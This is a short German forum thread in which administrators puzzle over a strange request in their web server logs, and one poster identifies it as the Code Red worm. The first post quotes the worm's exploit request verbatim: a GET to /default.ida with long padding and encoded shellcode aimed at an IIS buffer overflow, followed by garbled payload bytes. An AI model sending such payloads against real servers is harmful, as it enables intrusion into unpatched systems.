Was ist das denn ?!?!

[Crying Man]

Ich hab voll den krassen Request-Header zugeschickt bekommen, schaut es euch mal an:

GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
Content-type: text/xml
HOST:www.worm.com
Accept: */*
Content-length: 3569

U‹ì�ì


Der kam von dieser IP: 213.176.47.91
Geht mal auf die IP - komisch!

 

[Comet]

Hallo!

Haben in unseren LogFiles auch solche ähnliche Requests, würde mich auch interessieren was damit versucht wird. Ich glaube default.ida ist ein IIS - Ding????

 

[Manitou]

Hi Loide,

dieser Request ist ein Teil von Code Red!!!!

Nachzulesen unter http://www.apacheweek.com/features/codered

Oder sucht einfach mal im Net unter default.ida, da bekommt ihr jede Menge Feedback.

Gruß

Manitou

PS: Wer Linux benutzt hat nichts zu befürchten.....